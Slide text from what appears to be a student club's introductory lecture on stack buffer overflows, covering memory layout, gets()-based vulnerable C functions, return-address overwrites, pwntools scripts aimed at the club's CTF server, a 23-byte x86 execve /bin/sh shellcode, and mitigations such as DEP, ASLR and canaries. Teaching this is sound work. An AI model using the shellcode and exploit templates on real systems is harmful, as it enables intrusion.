
Week 07 PWN I

Thomas & Chris



sigpwny{AAAAAAAAAAAAAAAAAAAAAAAAA}





Announcements

Purdue Trip Tomorrow!

- Fall Recruitment Event

- Halloween Party!



Memory

Bottom of memory (0x00000000)

Memory Region

.text
(instructions)

.data (initialized data)

.bss (uninitialized data)

> heap t stack

Top of memory (OxFFFFFFF)



Memory

Bottom of memory (0x0000000)

Memory Region

.text (instructions)

.data (initialized data)

.bss (uninitialized data)

> heap stack

.text: Program instructions

.data: Global variables

.bss: Global variables with no initial

value

.heap: Dynamically allocated memory (Think "new" in C++/ Java)

.stack: Call stack, local vars

Top of memory (OxFFFFFFF)



Smashing The Stack



C -> Assembly

```
int add_2_to_num (int
a) {
    return a + 2;
}
```

```
add_2_to_num:
  push ebp
  mov ebp, esp
  mov eax, [ebp + 8]
  add eax, 2
  pop ebp
  ret
```

The Stack

Local Variables

Saved RBP

Return Address

Arguments



The Stack


Local Variables	
Saved Frame Pointer	
Return Address	
а	
b	
С	



C And Debugger (GDB) Demo



Registers



Source: University of Virginia



Buffer Overflow

```
int vulnerable() {
   puts("Say Something!\n");
   char stack_var_1[4];
   char stack_var_2[4];
   gets(stack_var_2);
   puts(stack_var_1);
   return 0;
}
```

```
> ./vulnerable
Say Something!
AAAABBB
BBB
```

```
stack_var_2[4]
  stack_var_1[4]
Saved Frame Pointer
  Return Address
```



Buffer Overflow

```
int vulnerable() {
   puts("Say Something!\n");
   char stack_var_1[4];
   char stack_var_2[4];
   gets(stack_var_2);
   puts(stack_var_1);
   return 0;
}
```

```
> ./vulnerable
Say Something!
AAAABBB
BBB
```

AAAA
BBB
Saved Frame Pointer
Return Address



Buffer Overflow Demo



Pwntools

```
from pwn import *
# Connect to Stack 0 server with netcat
conn = remote('chal.sigpwny.com', 1351)
# Read first line
print(conn.recvline())
# Write exploit
conn.sendline('A' * 8)
# Interactive (let user take over)
conn.interactive()
```

> python3 -m pip install pwntools



Pwntools Demo



Why would you want to overwrite the return address?



Doors



Program Begins a new Function





Program Saves Return Address On Stack





Program executes function to completion





Program returns to return address









Redirect Code Flow

```
int vulnerable() {
   puts("Say Something!\n");
   char stack_var_1[4];
   gets(stack_var_1);
   return 0;
}
int win (); // 0x08044232
```

```
> ./vulnerable
Say Something!
AAAABBBB\x32\x42\x04\x08
```

```
Saved Frame Pointer
  Return Address
```



Redirect Code Flow

```
int vulnerable() {
   puts("Say Something!\n");
   char stack_var_1[4];
   gets(stack_var_1);
   return 0;
}
int win (); // 0x08044232
```

```
> ./vulnerable
Say Something!
AAAABBBB\x32\x42\x04\x08
```

AAAA
BBBB
Return Addr = 0x08044232



Pwntools

```
from pwn import *
conn = remote(...)
# Address of win function
WIN\_ADDR = 0x0804aabb
# Overflow stack
exploit = b'A' * 8
# Push win address after overflow
# p32(number) is a pwntools function that converts the
# number WIN_ADDR to a proper address
exploit += p32(WIN_ADDR)
# Send exploit
conn.sendline(exploit)
conn.interactive()
```



What if there is no win method?



Write Your Own



Shellcode

```
int vulnerable() {
   puts("Say Something!\n");
   char stack_var_1[4];
   gets(stack_var_1);
   return 0;
}
```

```
> ./vulnerable
Say Something!
AAAABBBB
{addr on stack}
{shellcode}
```







Shellcode

Shellcode is just a fancy word for bytes you get by compiling a program.

You write "shellcode" anytime you write a program and compile it.

You can write your own, or use a database:

http://shell-storm.org/shellcode/files/shellcode-827.php

(Term to Google: "shellcode x86 linux")



Shellcode

```
********************
       Linux/x86 execve /bin/sh shellcode 23 bytes
   ********************
             Author: Hamza Megahed
   ********************
             Twitter: @Hamza_Mega
   ***************
       blog: hamza-mega[dot]blogspot[dot]com
   ********************
      E-mail: hamza[dot]megahed[at]gmail[dot]com
   ********************
     %eax,%eax
xor
push
     %eax
     $0x68732f2f
push
push
     $0x6e69622f
     %esp,%ebx
mov
push
     %eax
     %ebx
push
     %esp,%ecx
mov
     $0xb,%al
mov
int
     $0x80
**********
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
              "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
```



Pwntools

```
from pwn import *
conn = remote(...)
# Python3 bytestrings require a b in front of them, don't
forget it!
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Send shellcode to program
conn.sendline(shellcode)
conn.interactive()
```

What if the stack is "Non-Executable"?



Exploit Mitigations

Data Execution Prevention (DEP)

- Each region of memory is assigned flags
 - \circ R READ
 - W WRITE
 - X EXECUTE
- Attempting to do any operation not allowed by flags will result in immediate crash
- Prevents buffer overflowing your own instructions onto stack and executing them
- Prevents overwriting existing instructions of program

Memory Region	FLAGS
.text (instructions)	RX
.data (initialized data)	RW
.bss (uninitialized data)	RW
heap tack	RW



Exploit Mitigations

Address Space Layout Randomization (ASLR)

- Bottom of memory for program is randomized
- Instruction and data addresses are no longer deterministic
- Prevents you from being able to know where anything is from an arbitrary write bug (eg. buffer overflow)
- Requires some sort of LEAK to figure out how the bottom of memory has been randomized (referred to as the ASLR SLIDE)
- Without ASLR, on Linux machines, the bottom of memory is almost always 0x400000


Bottom of memory (0x0000000)

Memory Region

.text
(instructions)

.data (initialized data)

.bss (uninitialized data)



Top of memory (OxFFFFFFFF)



Exploit Mitigations

Stack Canary

- Randomized value placed between frame pointer and return address on stack
- Overwriting a vulnerable buffer in a local variable requires also overwriting the CANARY before you can change the RETURN ADDRESS
- Randomized value is checked before the function returns to make sure it hasn't been changed
- Program immediately crashes if value has been changed

Local Variables
Saved Frame Pointer
STACK CANARY
RETURN ADDRESS

Next Meetings

Sunday Seminar: Pwn II

- Ret2Libc and ROP
- GOT, PLT
- Advanced Binary Exploitation Techniques

Next Thursday: Physical Security

- How to secure your house
- Lockpicking and Safe Cracking

